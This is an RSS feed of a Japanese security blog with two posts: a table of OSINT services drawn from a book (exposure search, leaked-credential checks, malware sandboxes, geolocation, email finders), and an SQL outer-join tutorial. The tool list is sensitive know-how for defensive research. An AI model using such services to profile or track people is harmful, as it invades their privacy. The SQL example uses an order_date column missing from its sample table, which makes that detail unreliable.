<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>miyuki &#8211; セキュリティエンジニアの雑多ブログ</title>
	<atom:link href="https://cybermemo.blog/author/cm_writer/feed" rel="self" type="application/rss+xml" />
	<link>https://cybermemo.blog</link>
	<description>セキュリティエンジニアの学習記録</description>
	<lastBuildDate>Sun, 15 Feb 2026 11:05:32 +0000</lastBuildDate>
	<language>ja</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.1</generator>

<image>
	<url>https://cybermemo.blog/wp-content/uploads/2025/10/cropped-トップアイコン-32x32.jpg</url>
	<title>miyuki &#8211; セキュリティエンジニアの雑多ブログ</title>
	<link>https://cybermemo.blog</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>『OSINT実践ガイド』紹介ツールまとめ</title>
		<link>https://cybermemo.blog/osint-practical-guide-tools</link>
					<comments>https://cybermemo.blog/osint-practical-guide-tools#respond</comments>
		
		<dc:creator><![CDATA[miyuki]]></dc:creator>
		<pubDate>Sun, 15 Feb 2026 11:05:31 +0000</pubDate>
				<category><![CDATA[セキュリティ]]></category>
		<category><![CDATA[OSINT]]></category>
		<category><![CDATA[SOC]]></category>
		<guid isPermaLink="false">https://cybermemo.blog/?p=643</guid>

					<description><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2026/02/『OSINT実践ガイド』紹介ツールまとめ_アイキャッチ.jpg" class="webfeedsFeaturedVisual" /></p>はじめに 「サイバー攻撃から企業システムを守る！　OSINT実践ガイド」を読んだので、2章で紹介されていたツールのまとめ。 1章 OSINTの基礎2章 OSINT必携ツールの使い方3章 OSINT情報の可視化4章 グロー [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2026/02/『OSINT実践ガイド』紹介ツールまとめ_アイキャッチ.jpg" class="webfeedsFeaturedVisual" /></p>
<h2 class="wp-block-heading">はじめに</h2>



<p>「サイバー攻撃から企業システムを守る！　OSINT実践ガイド」を読んだので、2章で紹介されていたツールのまとめ。<br><br>1章 OSINTの基礎<br>2章 OSINT必携ツールの使い方<br>3章 OSINT情報の可視化<br>4章 グローバルでのOSINT活用事例</p>


<div class="swell-block-postLink">			<div class="p-blogCard -external -noimg" data-type="type3" data-onclick="clickLink">
				<div class="p-blogCard__inner">
					<span class="p-blogCard__caption">日経Linux</span>
										<div class="p-blogCard__body">
						<a class="p-blogCard__title" href="https://info.nikkeibp.co.jp/media/LIN/atcl/books/110800040/" target="_blank" rel="noopener noreferrer">サイバー攻撃から企業システムを守る！　OSINT実践ガイド</a>
						<span class="p-blogCard__excerpt"></span>					</div>
				</div>
			</div>
		</div>


<h2 class="wp-block-heading">2章で紹介されていたツールまとめ</h2>



<p>リンクが変わっていたり、廃止になっていたりしたので、後で見返しやすいように記録。<br>※2026年2月時点</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><tbody><tr><td>ユースケース</td><td>サービス名</td><td>URL</td><td>用途<sup data-fn="9eea3cef-bbda-43a7-aeb5-4772c048d843" class="fn"><a href="#9eea3cef-bbda-43a7-aeb5-4772c048d843" id="9eea3cef-bbda-43a7-aeb5-4772c048d843-link">1</a></sup></td><td>備考</td></tr><tr><td rowspan="5">資産の外部公開状況を把握する</td><td>Shodan</td><td><a href="https://developer.shodan.io/" target="_blank" rel="noreferrer noopener">https://developer.shodan.io/</a></td><td>公開サーバー、サービス、IoTデバイス、OTデバイスなど幅広い検索エンジン</td><td>画像検索は有償に変更</td></tr><tr><td data-has-cell-bg="1" data-text-color="black"><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span>Binary Edge</td><td data-has-cell-bg="1" data-text-color="black"><a href="https://app.binaryedge.io">https://app.binaryedge.io</a><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span></td><td data-has-cell-bg="1" data-text-color="black"><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span>廃止</td><td data-has-cell-bg="1" data-text-color="black"><span data-icon-size="l" data-icon-type="bg" style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span></td></tr><tr><td>Censys</td><td><a href="https://search.censys.io/" target="_blank" rel="noreferrer noopener">https://platform.censys.io/search</a></td><td>詳細な検索フィルターで検索範囲を絞り込んで検索できる</td><td>クエリの仕様変更あり<br><a href="https://platform.censys.io/home/examples">https://platform.censys.io/home/examples</a></td></tr><tr><td>ZoomEye</td><td><a href="https://www.zoomeye.ai/" target="_blank" rel="noreferrer noopener">https://www.zoomeye.ai/</a></td><td>中国企業が運営する検索エンジン</td><td>個人情報の登録が必要なので、個人学習の範囲では使わない</td></tr><tr><td>FOFA</td><td><a href="https://fofa.info/" target="_blank" rel="noreferrer noopener">https://fofa.info/</a></td><td>中国企業が運営する検索エンジン</td><td>個人学習の範囲では使わない</td></tr><tr><td rowspan="3">パスワードが漏洩していないか調査する</td><td>Have I Been Pwned</td><td><a href="https://haveibeenpwned.com/" target="_blank" rel="noreferrer noopener">https://haveibeenpwned.com/</a></td><td>パスワードや個人情報が漏洩していないか調べる</td><td></td></tr><tr><td>DeHashed</td><td><a href="https://dehashed.com/" target="_blank" rel="noreferrer noopener">https://dehashed.com/</a></td><td>パスワードや個人情報が漏洩していないか調べる</td><td></td></tr><tr><td>BugMeNot</td><td><a href="https://bugmenot.com/" target="_blank" rel="noreferrer noopener">https://bugmenot.com/</a></td><td>認証情報が誰かと共有されていないか調べる</td><td></td></tr><tr><td rowspan="5">マルウェア情報を調査する</td><td>VirusTotal</td><td><a href="https://www.virustotal.com/gui/home/upload" target="_blank" rel="noreferrer noopener">https://www.virustotal.com/gui/home/upload</a></td><td>Googleが提供するマルウェア対策用のオンラインスキャナー</td><td></td></tr><tr><td>ANY.RUN</td><td><a href="https://any.run/" target="_blank" rel="noreferrer noopener">https://any.run/</a></td><td>マルウェアを仮想環境で安全に実行する仕組みを提供する「サンドボックス」サービス</td><td>個人アカウントの登録は個別連絡をして審査が通った場合のみ可</td></tr><tr><td>Joe Sandbox</td><td><a href="https://www.joesandbox.com/#windows" target="_blank" rel="noreferrer noopener">https://www.joesandbox.com/#windows</a></td><td>ANY.RUNに類似するサンドボックス</td><td></td></tr><tr><td>HYBRID ANALYSIS</td><td><a href="https://hybrid-analysis.com/" target="_blank" rel="noreferrer noopener">https://hybrid-analysis.com/</a></td><td>VirusTotalに類似するオンラインスキャナー<br>VirusTotal、CrowdStrike Falcon、MetaDefender 3種類のスキャンサービスの結果をまとめて確認できる</td><td></td></tr><tr><td>Intezer</td><td><a href="https://intezer.com/" target="_blank" rel="noreferrer noopener">https://intezer.com/</a></td><td>ANY.RUNに類似するサンドボックス</td><td></td></tr><tr><td rowspan="6">Webサイトのレピュテーションを調査する</td><td>aguse</td><td><a href="https://www.aguse.jp/" target="_blank" rel="noreferrer noopener">https://www.aguse.jp/</a></td><td>Webブラウザへ代理アクセス、日本企業が運営</td><td></td></tr><tr><td>urlscan.io</td><td><a href="https://urlscan.io/" target="_blank" rel="noreferrer noopener">https://urlscan.io/</a></td><td>Webブラウザへ代理アクセス</td><td></td></tr><tr><td>urlquery</td><td><a href="https://urlquery.net/" target="_blank" rel="noreferrer noopener">https://urlquery.net/</a></td><td>Webブラウザへ代理アクセス</td><td>UI変更あり<br>List、Summary、Grid から選ぶ形式へ変更されている<br>ハッシュ値からURLを追跡できて便利</td></tr><tr><td>Sucuri SiteCheck</td><td><a href="https://sitecheck.sucuri.net/" target="_blank" rel="noreferrer noopener">https://sitecheck.sucuri.net/</a></td><td>Webサイトのレピュテーション<br>調査可能な内容は、マルウェア感染の可能性があるかどうかとブラックリストに載っているかどうかのみ</td><td></td></tr><tr><td>URLVoid</td><td><a href="https://www.urlvoid.com/" target="_blank" rel="noreferrer noopener">https://www.urlvoid.com/</a></td><td>Webサイトのレピュテーション<br>マルウェア検知特化</td><td></td></tr><tr><td>AbuseIPDB</td><td><a href="https://www.abuseipdb.com/" target="_blank" rel="noreferrer noopener">https://www.abuseipdb.com/</a></td><td>ドメイン名やIPアドレス、<strong>IPアドレスレンジ</strong>を指定してサイトが悪性か確認できる</td><td>レンジは/24まで、それ以上は不可</td></tr><tr><td rowspan="5">ゼロデイやエクスプロイトの有無を調査する</td><td>Zero-day Vulnerability Database</td><td><a href="https://www.zero-day.cz/database/" target="_blank" rel="noreferrer noopener">https://www.zero-day.cz/database/</a></td><td>「ソフトウェア種別」や「ベンダーごと」などの切り口でゼロデイ脆弱性を調べられる</td><td></td></tr><tr><td>Published Advisories</td><td><a href="https://www.zerodayinitiative.com/advisories/published/" target="_blank" rel="noreferrer noopener">https://www.zerodayinitiative.com/advisories/published/</a></td><td>トレンドマイクロの脆弱性情報提供サービス<br>Upcoming Advisoriesにはゼロデイ脆弱性の一覧が掲載されている</td><td></td></tr><tr><td>Exploit Database</td><td><a href="https://www.exploit-db.com/" target="_blank" rel="noreferrer noopener">https://www.exploit-db.com/</a></td><td>エクスプロイトの情報を集約したデータベース<br>集約されているエクスプロイトの総数は多くないので補助的に使うのがいい</td><td></td></tr><tr><td>Security home.eu</td><td><a href="https://www.securityhome.eu/" target="_blank" rel="noreferrer noopener">https://www.securityhome.eu/</a></td><td>セキュリティ関連情報を扱うWebサイト<br>「Exploits」ページには、比較的新しいエクスプロイト情報が掲載されている</td><td></td></tr><tr><td data-has-cell-bg="1" data-text-color="black"><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg"> </span>Exploitalert</td><td data-has-cell-bg="1" data-text-color="black"><a href="https://www.exploitalert.com/browse-exploit.html">https://www.exploitalert.com/browse-exploit.html</a><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span></td><td data-has-cell-bg="1" data-text-color="black"><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span>廃止</td><td data-has-cell-bg="1" data-text-color="black"><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg"> </span></td></tr><tr><td rowspan="3">Microsoft月齢セキュリティパッチについて情報収集する</td><td>Zero Day Initiative &#8211; Blog</td><td><a href="https://www.zerodayinitiative.com/blog" target="_blank" rel="noreferrer noopener">https://www.zerodayinitiative.com/blog</a></td><td>トレンドマイクロ運営の脆弱性発見コミュニティーサイト</td><td></td></tr><tr><td>Bleeping Computer</td><td><a href="https://www.bleepingcomputer.com/" target="_blank" rel="noreferrer noopener">https://www.bleepingcomputer.com/</a></td><td>コンピューター関連の情報発信サイト</td><td></td></tr><tr><td>SANS Internet Storm Center</td><td><a href="https://isc.sans.edu/" target="_blank" rel="noreferrer noopener">https://isc.sans.edu/</a></td><td>米SANS Internet が運営している政府や企業、各種団体に所属する人々に対するITセキュリティ教育を目的としたサイト</td><td></td></tr><tr><td rowspan="5">自社に関する脆弱性情報収集を収集する</td><td>NVD</td><td><a href="https://nvd.nist.gov/vuln/search" target="_blank" rel="noreferrer noopener">https://nvd.nist.gov/vuln/search</a></td><td>NISTが管理している脆弱性情報のデータベース</td><td>UI変更あり<br>Advanced→Platform Applicability →Applicability Statement から各項目を入力して検索</td></tr><tr><td>JVN iPedia</td><td><a href="https://jvndb.jvn.jp/" target="_blank" rel="noreferrer noopener">https://jvndb.jvn.jp/</a></td><td>日本国内向けの脆弱性対策情報ポータルサイト<br>JPCERTコーディネーションセンターとIPAの共同運営</td><td></td></tr><tr><td>Vulmon</td><td><a href="https://vulmon.com/" target="_blank" rel="noreferrer noopener">https://vulmon.com/</a></td><td>CVE番号、会社名、製品名で検索可能な脆弱性データベース<br>補助的利用推奨</td><td></td></tr><tr><td>Vulnerability Database</td><td><a href="https://www.cybersecurity-help.cz/" target="_blank" rel="noreferrer noopener">https://www.cybersecurity-help.cz/</a></td><td>脆弱性データベース閲覧サイト<br>エクスプロイトが公開されているかどうか、セキュリティパッチが提供されてるかどうかなども調べられる</td><td></td></tr><tr><td>Vumetric Cybersecurity Portal</td><td><a href="https://www.vumetric.com/" target="_blank" rel="noreferrer noopener">https://www.vumetric.com/</a></td><td>ダッシュボード形式で脆弱性情報を掲載しているポータルサイト</td><td></td></tr><tr><td rowspan="2">SSL/TLSのセキュリティ強度を確認する</td><td>SSL Server Test</td><td><a href="https://www.ssllabs.com/ssltest" target="_blank" rel="noreferrer noopener">https://www.ssllabs.com/ssltest</a></td><td>SSL/TLSのセキュリティ強度を調査できるサービス</td><td>アクティブスキャンサービス<br>許可のないサイトを無暗にスキャンするのは非推奨<br>スキャン結果をダッシュボードに表示させたくない場合は「Do not show the results on the boards」にチェック</td></tr><tr><td>Test TLS</td><td><a href="https://testtls.com/" target="_blank" rel="noreferrer noopener">https://testtls.com/</a></td><td>SSL/TLSを利用しているサーバーを調査できるサービス</td><td>アクティブスキャンサービス<br>許可のないサイトを無暗にスキャンするのは非推奨</td></tr><tr><td rowspan="2">失効したサーバー証明書の有無を確認する</td><td data-has-cell-bg="1" data-text-color="black"><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span>Entrust Certificate Search</td><td data-has-cell-bg="1" data-text-color="black"><a href="https://ui.ctsearch.entrust.com/ui/ctsearchui">https://ui.ctsearch.entrust.com/ui/ctsearchui<span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span></a></td><td data-has-cell-bg="1" data-text-color="black"><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span>廃止</td><td data-has-cell-bg="1" data-text-color="black"><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span></td></tr><tr><td>Certificate Checker</td><td><a href="https://ssltools.godaddy.com/views/certChecker" target="_blank" rel="noreferrer noopener">https://ssltools.godaddy.com/views/certChecker</a></td><td>サーバー証明書の有効期間チェックやOCSPを利用した失効状態の確認、<br>SSL/TLS通信に関する脆弱性がサーバーに存在するかどうかの調査など</td><td></td></tr><tr><td rowspan="2">自己署名証明書(オレオレ証明書)の有無を調べる</td><td>SSL/TLS Certificate Test Tool</td><td><a href="https://network-tools.webwiz.net/ssl-certificate-checker.htm" target="_blank" rel="noreferrer noopener">https://network-tools.webwiz.net/ssl-certificate-checker.htm</a></td><td>自己署名証明書が使用されていないかどうかや、証明書の有効期間、<br>SSL/TLSプロトコルの状況(有効/無効)などを確認できるアクティブスキャン型のサービス</td><td>アクティブスキャンサービス<br>許可のないサイトを無暗にスキャンするのは非推奨</td></tr><tr><td>Self Signed Certificate Checker</td><td><a href="https://s4e.io/tools/self-signed-certificate-checker" target="_blank" rel="noreferrer noopener">https://s4e.io/tools/self-signed-certificate-checker</a></td><td>自己署名証明書が使用されていないかどうかを確認できるアクティブスキャン型のサービス</td><td>アクティブスキャンサービス<br>許可のないサイトを無暗にスキャンするのは非推奨</td></tr><tr><td rowspan="3">投稿写真から住所などを特定されないか調べる</td><td>Google画像検索</td><td><a href="https://images.google.com/" target="_blank" rel="noreferrer noopener">https://images.google.com/</a></td><td>画像ファイルをアップロードして検索すると、類似の画像を検索するとともに、それが何であるかを判定してくれる</td><td></td></tr><tr><td>Bing画像検索</td><td><a href="https://www.bing.com/" target="_blank" rel="noreferrer noopener">https://www.bing.com/</a></td><td>画像ファイルをアップロードして検索すると、類似の画像を検索するとともに、それが何であるかを判定してくれる</td><td></td></tr><tr><td>TinEye</td><td><a href="https://tineye.com/" target="_blank" rel="noreferrer noopener">https://tineye.com/</a></td><td>画像ファイルをアップロードして検索すると、類似の画像を検索するとともに、それが何であるかを判定してくれる</td><td></td></tr><tr><td rowspan="2">メールアドレス漏洩の有無を調べる</td><td>Hunter</td><td><a href="https://hunter.io/" target="_blank" rel="noreferrer noopener">https://hunter.io/</a></td><td>世の中に出回っているメールアドレスを多数収集していて、それらを検索できるサービス<br>命名規則も表示してくれる</td><td></td></tr><tr><td>Anymail Finder</td><td><a href="https://anymailfinder.com/" target="_blank" rel="noreferrer noopener">https://anymailfinder.com/</a></td><td>インターネット上のメールアドレスを収集し検索できるようにしているサービス</td><td></td></tr><tr><td rowspan="2">IPアドレスの使用場所を特定する</td><td>MaxMind</td><td><a href="https://www.maxmind.com/en/geoip-web-services-demo" target="_blank" rel="noreferrer noopener">https://www.maxmind.com/en/geoip-web-services-demo</a></td><td>IPアドレスから「経度・緯度」や「IPアドレスの正確さ(IPアドレスの観測地点から半径○○kmという距離」)などを調査できるサービス</td><td></td></tr><tr><td>eXTReMe-IP-Lookup.com</td><td><a href="https://extreme-ip-lookup.com/" target="_blank" rel="noreferrer noopener">https://extreme-ip-lookup.com/</a></td><td>IPアドレスから場所の特定ができるサービス<br>MaxMindよりは精度が高くない</td><td></td></tr><tr><td>WifiのSSIDが知れ渡っていないか調べる</td><td>WiGLE.net</td><td><a href="https://www.wigle.net/" target="_blank" rel="noreferrer noopener">https://www.wigle.net/</a></td><td>SSIDから場所を特定できるサービス</td><td></td></tr><tr><td rowspan="3">Exifデータの埋め込みをチェックする</td><td>EXIF Data Viewer Online</td><td><a href="https://linangdata.com/exif-reader/" target="_blank" rel="noreferrer noopener">https://linangdata.com/exif-reader/</a></td><td>Exifデータを確認できるオンラインサービス</td><td></td></tr><tr><td>exifdata</td><td><a href="https://www.exifdata.com/" target="_blank" rel="noreferrer noopener">https://www.exifdata.com/</a></td><td>Exifデータを確認できるオンラインサービス</td><td></td></tr><tr><td>EXIF確認君</td><td><a href="http://exif-check.org/" target="_blank" rel="noreferrer noopener">http://exif-check.org/</a></td><td>Exifデータを確認できるオンラインサービス</td><td></td></tr><tr><td rowspan="4">アーカイブやキャッシュを活用する</td><td data-has-cell-bg="1" data-text-color="black"><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span>Googleキャッシュ</td><td data-has-cell-bg="1" data-text-color="black"><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span>なし</td><td data-has-cell-bg="1" data-text-color="black"><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span>廃止</td><td data-has-cell-bg="1" data-text-color="black"><span style="--the-cell-bg: #b2b2b2" data-text-color="black" aria-hidden="true" class="swl-cell-bg">&nbsp;</span></td></tr><tr><td>Internet Archive</td><td><a href="https://archive.org/" target="_blank" rel="noreferrer noopener">https://web.archive.org/</a></td><td>インターネット上の各種コンテンツをアーカイブしているサイト</td><td></td></tr><tr><td>archive.today</td><td><a href="https://archive.md/" target="_blank" rel="noreferrer noopener">https://archive.md/</a></td><td>インターネット上の各種コンテンツをアーカイブしているサイト<br>URLを指定してアーカイブしてもらう機能も備えている</td><td></td></tr><tr><td>ウェブ魚拓</td><td><a href="https://megalodon.jp/" target="_blank" rel="noreferrer noopener">https://megalodon.jp/</a></td><td>インターネット上のWebサイトをアーカイブしているサイト</td><td></td></tr><tr><td rowspan="4">自社のIPアドレス(レンジ)を把握する</td><td>WhatisMyIPaddress.com</td><td><a href="https://whatismyipaddress.com/" target="_blank" rel="noreferrer noopener">https://whatismyipaddress.com/</a></td><td>インターネット側から見て自社の端末にどのようなIPアドレスが割り当てられているかを確認できるサービス</td><td></td></tr><tr><td>確認君+</td><td><a href="https://env.b4iine.net/" target="_blank" rel="noreferrer noopener">https://env.b4iine.net/</a></td><td>インターネット側から見て自社の端末にどのようなIPアドレスが割り当てられているかを確認できるサービス</td><td></td></tr><tr><td>ipinfo.io</td><td><a href="https://ipinfo.io/" target="_blank" rel="noreferrer noopener">https://ipinfo.io/</a></td><td>IPアドレスからホスト名や都市名、国名、IPアドレスレンジなどを確認できるサービス</td><td></td></tr><tr><td>IP WHOIS Lookup</td><td><a href="https://dnschecker.org/ip-whois-lookup.php" target="_blank" rel="noreferrer noopener">https://dnschecker.org/ip-whois-lookup.php</a></td><td>IPアドレスやドメイン名などの登録者に関する情報などを検索できる、いわゆる「whois」サービス</td><td></td></tr><tr><td rowspan="2">使用しているWebテクノロジーを把握する</td><td>BuiltWith</td><td><a href="https://builtwith.com/ja/" target="_blank" rel="noreferrer noopener">https://builtwith.com/ja/</a></td><td>Webサイトで使われているWebテクノロジーを確認できるサイト</td><td></td></tr><tr><td>Wappalyzer</td><td><a href="https://www.wappalyzer.com/" target="_blank" rel="noreferrer noopener">https://www.wappalyzer.com/</a></td><td>Webサイトで使われているWebテクノロジーを確認できるサイト</td><td></td></tr><tr><td rowspan="3">IPアドレスやドメイン名の利用履歴を調べる</td><td>SecurityTrails</td><td><a href="https://securitytrails.com/" target="_blank" rel="noreferrer noopener">https://securitytrails.com/</a></td><td>様々なOSINT調査に使える「OSINT便利サイト」</td><td></td></tr><tr><td>AbuseIPDB</td><td><a href="https://www.abuseipdb.com/" target="_blank" rel="noreferrer noopener">https://www.abuseipdb.com/</a></td><td>IPアドレスが過去に悪用されていたか確認できるサイト</td><td></td></tr><tr><td>DNS History</td><td><a href="https://dnshistory.org/" target="_blank" rel="noreferrer noopener">https://dnshistory.org/</a></td><td>IPアドレスの変更を含むDNSレコード変更履歴を確認できるサイト</td><td></td></tr><tr><td rowspan="2">送信ドメイン認証の対応状況をチェックする</td><td>EasyDMARK</td><td><a href="https://easydmarc.com/tools" target="_blank" rel="noreferrer noopener">https://easydmarc.com/tools</a></td><td>SPFやDKIM、DMARCの設定がされているかどうかを確認できるサイト</td><td></td></tr><tr><td>DKIM Record Checker</td><td><a href="https://www.mimecast.com/products/dmarc-analyzer/dkim-check/" target="_blank" rel="noreferrer noopener">https://www.mimecast.com/products/dmarc-analyzer/dkim-check/</a></td><td>主にDKIMの設定がされているかどうかを確認できるサイト</td><td>リンクが変更され、セレクターの入力必須化</td></tr><tr><td rowspan="3">IoC情報を入手してインシデントに備える</td><td>AlienVaultOpenThreatExchange</td><td><a href="https://otx.alienvault.com/" target="_blank" rel="noreferrer noopener">https://otx.alienvault.com/</a></td><td>各種IoC情報を検索できるサービス</td><td></td></tr><tr><td>ThreatMiner</td><td><a href="https://www.threatminer.org/" target="_blank" rel="noreferrer noopener">https://www.threatminer.org/</a></td><td>IPアドレスやドメイン名、ファイルハッシュ値、メールアドレスなどのIoC情報を検索できるサービス</td><td></td></tr><tr><td>ThreatFox IOC Database</td><td><a href="https://threatfox.abuse.ch/browse/" target="_blank" rel="noreferrer noopener">https://threatfox.abuse.ch/browse/</a></td><td>IoCを格納したデータベースサービスを提供するサイト</td><td></td></tr><tr><td rowspan="3">フィッシング関連情報を入手する</td><td>PhishTank</td><td><a href="https://www.phishtank.com/" target="_blank" rel="noreferrer noopener">https://www.phishtank.com/</a></td><td>フィッシング情報を集めたサイト</td><td></td></tr><tr><td>OpenPhish</td><td><a href="https://openphish.com/" target="_blank" rel="noreferrer noopener">https://openphish.com/</a></td><td>更新頻度の高いフィッシング情報が集められているサイト</td><td></td></tr><tr><td>isItPhishing</td><td><a href="https://www.isitphishing.org/" target="_blank" rel="noreferrer noopener">https://www.isitphishing.org/</a></td><td>URLを入力するだけでフィッシングに使われている疑いがあるサイトか判定してくれるサービス</td><td></td></tr></tbody></table></figure>


<ol class="wp-block-footnotes"><li id="9eea3cef-bbda-43a7-aeb5-4772c048d843">一部文面は「OSINT実践ガイド」より引用 <a href="#9eea3cef-bbda-43a7-aeb5-4772c048d843-link" aria-label="脚注参照1にジャンプ">↩︎</a></li></ol>


<h2 class="wp-block-heading">その他</h2>



<h3 class="wp-block-heading">所要時間</h3>



<p>1～4章までを23時間48分で読了。<br>各サービスを実際に利用したり、規約の確認をしたり、メモを取ったりしながらだと時間がかかる。</p>



<h3 class="wp-block-heading">著作権について</h3>



<p>本記事は「サイバー攻撃から企業システムを守る！ OSINT実践ガイド」を参考に、<br>紹介されているツールを整理したものです。<br><br>表中の「ユースケース」「サービス名」は書籍の目次構成に基づいています。<br>「用途」については書籍の表現を必要最小限の範囲で引用しています。<br>「備考」および「URL」は、2026年2月時点で筆者が確認・検証の上記載しています。<br><br>本記事は書籍の内容を代替するものではありません。</p>
]]></content:encoded>
					
					<wfw:commentRss>https://cybermemo.blog/osint-practical-guide-tools/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>外部結合ってどんな時に使うの？</title>
		<link>https://cybermemo.blog/when-to-use-outer-join</link>
					<comments>https://cybermemo.blog/when-to-use-outer-join#respond</comments>
		
		<dc:creator><![CDATA[miyuki]]></dc:creator>
		<pubDate>Sun, 14 Dec 2025 08:09:43 +0000</pubDate>
				<category><![CDATA[コマンド]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[データベース]]></category>
		<guid isPermaLink="false">https://cybermemo.blog/?p=584</guid>

					<description><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/10/コマンド用アイキャッチ.jpg" class="webfeedsFeaturedVisual" /></p>はじめに SQLの勉強をしていて、外部結合をどんな時に使うのかイメージできなかったので調べてみた。 内部結合と外部結合の違い 内部結合（INNER JOIN） 両方のテーブルに 一致するデータがある行だけ 出す。「関係が [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><img src="https://cybermemo.blog/wp-content/uploads/2025/10/コマンド用アイキャッチ.jpg" class="webfeedsFeaturedVisual" /></p>
<h2 class="wp-block-heading">はじめに</h2>



<p>SQLの勉強をしていて、外部結合をどんな時に使うのかイメージできなかったので調べてみた。</p>



<h2 class="wp-block-heading">内部結合と外部結合の違い</h2>



<h3 class="wp-block-heading">内部結合（INNER JOIN）</h3>



<p>両方のテーブルに <strong>一致するデータがある行だけ</strong> 出す。<br>「関係が成立しているものだけ見たい」</p>



<h3 class="wp-block-heading">外部結合（OUTER JOIN）</h3>



<p>一致しない行も <strong>欠けたまま（NULL）</strong>で出す。<br>「関係が成立していないものも把握したい」</p>



<p class="is-style-icon_pen"><strong>”存在していない事実<strong>”</strong>を確認したいとき</strong>が外部結合の出番。</p>



<h2 class="wp-block-heading">サンプルデータを用意</h2>



<h3 class="wp-block-heading">シナリオ</h3>



<p>登録だけして注文をしたことがない人を確認したい。</p>



<h3 class="wp-block-heading">usersテーブル</h3>



<p>登録ユーザーが記録されたテーブル。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>user_id</th><th>name</th></tr></thead><tbody><tr><td>1</td><td>Sato</td></tr><tr><td>2</td><td>Suzuki</td></tr><tr><td>3</td><td>Tanaka</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">ordersテーブル</h3>



<p>注文履歴が記録されたテーブル。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>order_id</th><th>user_id</th><th>amount</th></tr></thead><tbody><tr><td>101</td><td>1</td><td>3000</td></tr><tr><td>102</td><td>3</td><td>1500</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">外部結合でデータを抽出する</h2>



<h3 class="wp-block-heading">SQLで左外部結合</h3>



<pre class="wp-block-code"><code>SELECT
  u.user_id, u.name,
  o.order_id, o.order_date, o.amount
FROM users u
LEFT OUTER JOIN orders o
  ON u.user_id = o.user_id
ORDER BY u.user_id, o.order_id;</code></pre>



<h3 class="wp-block-heading">結果</h3>



<p>Suzukiさんは ordersテーブル に対応するデータがないため、注文していないことが分かる。</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>user_id</th><th>name</th><th>order_id</th><th>order_date</th><th>amount</th></tr></thead><tbody><tr><td>1</td><td>Sato</td><td>101</td><td>2025-12-06</td><td>3000</td></tr><tr><td data-has-cell-bg="1" data-text-color="black"><span class="swl-cell-bg has-swl-pale-01-background-color" data-text-color="black" aria-hidden="true"> </span>2</td><td data-has-cell-bg="1" data-text-color="black"><span class="swl-cell-bg has-swl-pale-01-background-color" data-text-color="black" aria-hidden="true"> </span>Suzuki</td><td data-has-cell-bg="1" data-text-color="black"><strong><span class="swl-cell-bg has-swl-pale-01-background-color" data-text-color="black" aria-hidden="true"> </span>NULL</strong></td><td data-has-cell-bg="1" data-text-color="black"><strong><span class="swl-cell-bg has-swl-pale-01-background-color" data-text-color="black" aria-hidden="true"> </span>NULL</strong></td><td data-has-cell-bg="1" data-text-color="black"><strong><span class="swl-cell-bg has-swl-pale-01-background-color" data-text-color="black" aria-hidden="true"> </span>NULL</strong></td></tr><tr><td>3</td><td>Tanaka</td><td>102</td><td>2025-12-07</td><td>1500</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">解説</h3>



<p>左外部結合なので usersテーブル に ordersテーブル をくっつけている。<br>そのため、ordersテーブルに値がなくてもNULL表示される。<br>ordersテーブルの値がNULL = 注文をしたことがない人が分かる。</p>



